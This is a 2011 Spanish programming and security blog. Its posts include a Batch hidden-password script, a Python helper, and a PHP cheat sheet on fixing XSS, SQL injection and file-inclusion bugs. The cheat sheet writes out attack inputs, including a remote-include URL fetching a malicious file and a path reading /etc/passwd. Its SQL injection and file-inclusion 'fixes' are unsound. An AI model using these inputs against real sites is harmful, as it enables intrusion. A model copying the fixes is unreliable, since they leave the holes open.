lunes, 31 de enero de 2011

Welcome Mungu!

Bueno, demos la bienvenida a mi amigo Mungu. Ahora el blog lo llevaré con él.

Con este cambio esperamos mejorar la temática pero sobre todo la actividad del blog!

bytes!

miércoles, 12 de enero de 2011

Un día de aburrimiento

#include<aburrimiento.h>
 
int main()
{
    for(;;){
        long aniza;
        char cutero;
        string ente;
        tomarCafe();
        int erracial;
        int ruso;
        short seneger;
        tomarCafe();
        byte erfly;
        void fumao;
        const ernado;
    }
}
Espero que en breves se me ocurra un buen artículo!

Saludos :P

sábado, 8 de enero de 2011

[Batch] Input Hidden Password



Bueno, os dejo este increíble código que una vez más nos demuestra la capacidad de Batch, y que la imaginación no tiene límites.

Con el podreis implementar la entrada del teclado de forma oculta usando solamente batch.

El autor del mismo es Germaniac.
::Input Hidden Password [PoC]
::By Germaniac
@echo off
setlocal enableextensions enabledelayedexpansion
for /f %%i in ('"echo.exit|"%comspec%" /d /k prompt $h"') do set "bs=%%i"
:init
cls
set "(="
set ")=%tmp%\%random%.tmp"
if exist "%)%" del "%)%" 2>nul
set /p "=Password:"<nul
for /l %%i in (1,1,9) do set /p "=%bs%"<nul
start /b "" "%comspec%" /d /v:on /c "set/p(=&(if defined ( (echo(^!(^!) else echo()>"%)%""
:loop
set /p "=%bs%P%bs%"<nul
if not exist "%)%" goto :loop
set "pwl="
set /p "pwl="<"%)%"
del "%)%" 2>nul
echo.Your password: !pwl!
pause>nul
goto :init

Saludos!

Fuente: Code-Makers.net.


viernes, 7 de enero de 2011

[Python] Sacando el número más próximo a otro dentro de una lista



Bueno, pues estaba programando algo en Python y me quedó esta función.
#Funcion proximo() devuelve el numero mas proximo a otro de una lista
def proximo(final,numeros):
 def el_menor(numeros):
  menor = numeros[0]
  retorno = 0
  for x in range(len(numeros)):
   if numeros[x]<menor:
    menor = numeros[x]
    retorno = x
  return retorno
 
 diferencia = []
 for x in range(len(numeros)):
  diferencia.append(abs(final - numeros[x]))
 return numeros[el_menor(diferencia)]
 
Por ejemplo de la lista [30,15,20,43,56,10] queremos saber cual es elemento
más cercano al número "35".

Entonces:
numeros = [30,15,20,43,56,10]
 
print proximo(35, numeros)
 


Saludos!


martes, 4 de enero de 2011

Solución rápida a los bugs a nivel web más conocidos

Bueno, a modo de chuleta, os dejo mi primer artículo en este blog ^^


Veremos como evitar los bugs más conocidos en un entorno PHP.



XSS
Bien, XSS viene del inglés Cross-Site Scripting. Se cambió la primera letra de las siglas para poder diferenciarlas de Cascading Style Sheets (hojas de estilo).

Este bug consiste en incrustar código (HTML, JavaScript, VBScript, etc.) en una página web para que se ejecute, ya sea temporal (reflejado) o persistentemente (directo).

El ejemplo más simple de XSS temporal:
<?php

echo $_GET['codigo'];

?>

Si hacemos:
file.php?codigo=<script>alert('byte-inside');</script>
Nos saltará una bonita ventana de alerta.

La solución rápida:

<?php
 
echo htmlentities($_GET['codigo']);
 
?>

Utilizando la función htmlentities() nativa de PHP.


SQL injection
Este bug quizás sea uno de los más abundantes y fáciles de corregir (para su gravedad). No me voy parar a explicarlo, con SQL injection como su nombre indica, inyectamos código SQL ejecutándolo y afectando el comportamiento final.

Veremos como parchear una inyección de código SQL en bases de datos MySQL, que ya nos proporcionan funciones para esto.

Ejemplo vulnerable:

<?php
 
$id = $_GET['id'];
 
mysql_query("SELECT titulo, autor, contenido FROM noticias WHERE id = ".$id);
 
?>
 
Solución:

<?php
 
$id = mysql_real_escape_string($_GET['id']);
 
mysql_query("SELECT titulo, autor, contenido FROM noticias WHERE id = ".$id);
 
?>
Con la función mysql_real_escape_string() hacemos que lo ingresado por el usuario no se ejecute.


RFI/LFI
Estos bugs los podemos emparejar, Remote File Inclusion (RFI) y Local File Inclusion (LFI), ya que los dos tratan de inclusión de archivos.

En el caso de RFI, el error está al dejar que el usuario incluya en la página archivos externos los cuales pueden ser maliciosos (por ejemplo una webshell).

Claro ejemplo vulnerable a ambos (RFI y LFI):

<?php
 
include($_GET['archivo']);
 
?>
Haciendo algo así:
vulnerable.php?archivo=http://mihost/malicioso.txt

vulnerable.php?archivo=../../../etc/passwd
Una forma de evitarlos es hacer comprobaciones sobre la variable "archivo" en cuestión, pero si queremos dejar una lista larga, debemos buscar soluciones como esta:

<?php
 
$archivo = str_replace(array(':', '.', '/', '\\'), '', $_GET['archivo']);
 
include($archivo);
 
?>
 Reemplazando carácteres que podrían llegar a ser "maliciosos".


Saludos lectores!

lunes, 3 de enero de 2011

Apertura byte-inside

Hola lectores.

¿Qué mejor manera de empezar el año que abriendo un blog?

Bueno, esto sobre todo tratará temas de programación y seguridad informática.

Espero que os sintais a gusto por aquí.

Saludos!